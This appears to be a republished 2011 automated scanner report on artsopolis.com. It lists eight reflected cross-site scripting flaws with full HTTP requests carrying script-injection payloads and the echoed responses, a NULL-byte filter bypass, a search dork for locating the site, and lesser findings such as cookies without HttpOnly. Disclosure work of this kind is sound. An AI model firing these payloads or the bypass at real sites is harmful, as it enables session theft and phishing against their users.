XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, artopolis.com

DORK | site:artopolis.com search keyword item_type search_type

Report generated by XSS.CX at Mon Sep 05 19:06:54 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

XSS in artopolis.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, BHDB, Javascript Injection, Insecure Programming, Weak Configuration, Browser Hijacking, Phishing

1.1. http://www.artsopolis.com/categories/index/3/0 [gclid parameter]

1.2. http://www.artsopolis.com/categories/index/3/0 [name of an arbitrarily supplied request parameter]

1.3. http://www.artsopolis.com/search/results [item_type parameter]

1.4. http://www.artsopolis.com/search/results [item_type parameter]

1.5. http://www.artsopolis.com/search/results [keywords parameter]

1.6. http://www.artsopolis.com/search/results [keywords parameter]

1.7. http://www.artsopolis.com/search/results [keywords parameter]

1.8. http://www.artsopolis.com/search/results [search_type parameter]

2. Cookie without HttpOnly flag set

2.1. http://www.artsopolis.com/

2.2. http://www.artsopolis.com/categories/index/3/0

2.3. http://www.artsopolis.com/categories/index/8/0

2.4. http://www.artsopolis.com/error/page/c2l0ZXMvYXJ0c29wb2xpcy5jb20vY3NzL2N1c3RvbS8lN0JjYXRpbWclN0Q=

2.5. http://www.artsopolis.com/search/results

3. Cross-domain Referer leakage

4. Cross-domain script include

4.1. http://www.artsopolis.com/

4.2. http://www.artsopolis.com/categories/index/3/0

4.3. http://www.artsopolis.com/categories/index/8/0

4.4. http://www.artsopolis.com/search/results

5. TRACE method is enabled

6. Email addresses disclosed

7. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.artsopolis.com/categories/index/3/0 [gclid parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /categories/index/3/0

Issue detail

The value of the gclid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad37c"><script>alert(1)</script>cef45b91ee8 was submitted in the gclid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzwad37c"><script>alert(1)</script>cef45b91ee8 HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=music
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:43:56 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=8ed6ac5448cd6610b6facd2efed62cf3; path=/
Vary: Accept-Encoding
Content-Length: 133887
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<a href="http://www.artsopolis.com/categories/index/3/0/date/up/page/2?gclid=CN3xuOLuhqsCFeUZQgodOkofzwad37c"><script>alert(1)</script>cef45b91ee8">
...[SNIP]...

1.2. http://www.artsopolis.com/categories/index/3/0 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /categories/index/3/0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0079751"><script>alert(1)</script>98c891f29be was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 79751"><script>alert(1)</script>98c891f29be in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw&%0079751"><script>alert(1)</script>98c891f29be=1 HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=music
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:44:03 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; path=/
Vary: Accept-Encoding
Content-Length: 133971
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<a href="http://www.artsopolis.com/categories/index/3/0/date/up/page/2?gclid=CN3xuOLuhqsCFeUZQgodOkofzw&%0079751"><script>alert(1)</script>98c891f29be=1">
...[SNIP]...

1.3. http://www.artsopolis.com/search/results [item_type parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /search/results

Issue detail

The value of the item_type request parameter is copied into the HTML document as plain text between tags. The payload aa605<script>alert(1)</script>2077fbe0ff6 was submitted in the item_type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /search/results HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw
Content-Length: 79
Cache-Control: max-age=0
Origin: http://www.artsopolis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; _fjtad2=1; _fjtad6=0:2T3T4T1T5T6; _fjpvnum1=1; _fjpermvid1=1315269816086-5666640251874924; __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.2.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8

submitted_search=true&search_type=keyword&item_type=eventsaa605<script>alert(1)</script>2077fbe0ff6&keywords=xss&x=0&y=0

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:45:17 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=cf65cceefce087673dfd6078a7c11896; path=/
Vary: Accept-Encoding
Content-Length: 33724
Content-Type: text/html; charset=UTF-8

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
</strong>" in eventsaa605<script>alert(1)</script>2077fbe0ff6 didn't produce any results, try with different search terms.</span>
...[SNIP]...

1.4. http://www.artsopolis.com/search/results [item_type parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /search/results

Issue detail

The value of the item_type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed271"><script>alert(1)</script>eb3e032c5a8 was submitted in the item_type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /search/results HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw
Content-Length: 79
Cache-Control: max-age=0
Origin: http://www.artsopolis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; _fjtad2=1; _fjtad6=0:2T3T4T1T5T6; _fjpvnum1=1; _fjpermvid1=1315269816086-5666640251874924; __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.2.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8

submitted_search=true&search_type=keyword&item_type=eventsed271"><script>alert(1)</script>eb3e032c5a8&keywords=xss&x=0&y=0

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:45:13 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=cf65cceefce087673dfd6078a7c11896; path=/
Vary: Accept-Encoding
Content-Length: 33730
Content-Type: text/html; charset=UTF-8

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<input type="hidden" name="item_type" value="eventsed271"><script>alert(1)</script>eb3e032c5a8" />
...[SNIP]...

1.5. http://www.artsopolis.com/search/results [keywords parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /search/results

Issue detail

The value of the keywords request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e8b03'><script>alert(1)</script>b9a3db7f466 was submitted in the keywords parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /search/results HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw
Content-Length: 79
Cache-Control: max-age=0
Origin: http://www.artsopolis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; _fjtad2=1; _fjtad6=0:2T3T4T1T5T6; _fjpvnum1=1; _fjpermvid1=1315269816086-5666640251874924; __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.2.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8

submitted_search=true&search_type=keyword&item_type=events&keywords=xsse8b03'><script>alert(1)</script>b9a3db7f466&x=0&y=0

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:45:25 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=cf65cceefce087673dfd6078a7c11896; path=/
Vary: Accept-Encoding
Content-Length: 37156
Content-Type: text/html; charset=UTF-8

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<form style='display:inline' method='post' action='/search/results/keyword/1/events/date/up/xsse8b03'><script>alert(1)</script>b9a3db7f466/none/none/none/none/none/none/none/0/0'>
...[SNIP]...

1.6. http://www.artsopolis.com/search/results [keywords parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /search/results

Issue detail

The value of the keywords request parameter is copied into the HTML document as plain text between tags. The payload 7c18c<script>alert(1)</script>cf0bcbee54a was submitted in the keywords parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /search/results HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw
Content-Length: 79
Cache-Control: max-age=0
Origin: http://www.artsopolis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; _fjtad2=1; _fjtad6=0:2T3T4T1T5T6; _fjpvnum1=1; _fjpermvid1=1315269816086-5666640251874924; __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.2.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8

submitted_search=true&search_type=keyword&item_type=events&keywords=xss7c18c<script>alert(1)</script>cf0bcbee54a&x=0&y=0

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:45:29 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=cf65cceefce087673dfd6078a7c11896; path=/
Vary: Accept-Encoding
Content-Length: 37130
Content-Type: text/html; charset=UTF-8

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<strong>xss7c18c<script>alert(1)</script>cf0bcbee54a</strong>
...[SNIP]...

1.7. http://www.artsopolis.com/search/results [keywords parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /search/results

Issue detail

The value of the keywords request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 311f0"><script>alert(1)</script>9634af3707a was submitted in the keywords parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /search/results HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw
Content-Length: 79
Cache-Control: max-age=0
Origin: http://www.artsopolis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; _fjtad2=1; _fjtad6=0:2T3T4T1T5T6; _fjpvnum1=1; _fjpermvid1=1315269816086-5666640251874924; __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.2.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8

submitted_search=true&search_type=keyword&item_type=events&keywords=xss311f0"><script>alert(1)</script>9634af3707a&x=0&y=0

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:45:21 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=cf65cceefce087673dfd6078a7c11896; path=/
Vary: Accept-Encoding
Content-Length: 37166
Content-Type: text/html; charset=UTF-8

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a style="word-wrap: break-word;" href="/search/results/keyword/1/events/none/up/xss311f0"><script>alert(1)</script>9634af3707a/none/none/none/none/none/none/none/0/0">
...[SNIP]...

1.8. http://www.artsopolis.com/search/results [search_type parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /search/results

Issue detail

The value of the search_type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25d6c"><script>alert(1)</script>b0913860ed8 was submitted in the search_type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /search/results HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw
Content-Length: 79
Cache-Control: max-age=0
Origin: http://www.artsopolis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; _fjtad2=1; _fjtad6=0:2T3T4T1T5T6; _fjpvnum1=1; _fjpermvid1=1315269816086-5666640251874924; __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.2.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8

submitted_search=true&search_type=keyword25d6c"><script>alert(1)</script>b0913860ed8&item_type=events&keywords=xss&x=0&y=0

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:45:09 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=cf65cceefce087673dfd6078a7c11896; path=/
Vary: Accept-Encoding
Content-Length: 33754
Content-Type: text/html; charset=UTF-8

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a style="word-wrap: break-word;" href="/search/results/keyword25d6c"><script>alert(1)</script>b0913860ed8/1/events/none/up">
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next
There are 5 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://www.artsopolis.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.artsopolis.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/search/results
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.3.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; _fjdet1=det; _fjtad2=1; _fjtad6=1:2T3T4T1T5T6; _fjpvnum1=2; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8; _fjpermvid1=1315269816086-5666640251874924

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:44:15 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; path=/
Vary: Accept-Encoding
Content-Length: 39761
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...

2.2. http://www.artsopolis.com/categories/index/3/0  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.artsopolis.com
Path:   /categories/index/3/0

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=music
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:43:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; path=/
Vary: Accept-Encoding
Content-Length: 133285
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...

2.3. http://www.artsopolis.com/categories/index/8/0  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.artsopolis.com
Path:   /categories/index/8/0

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /categories/index/8/0 HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/search/results
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _fjtad6=1:2T3T4T1T5T6; _fjpvnum1=2; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8; _fjpermvid1=1315269816086-5666640251874924; __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.4.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; kohanasession=c13f5c4ac2d2c8cc4d131192427ded59

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:47:30 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
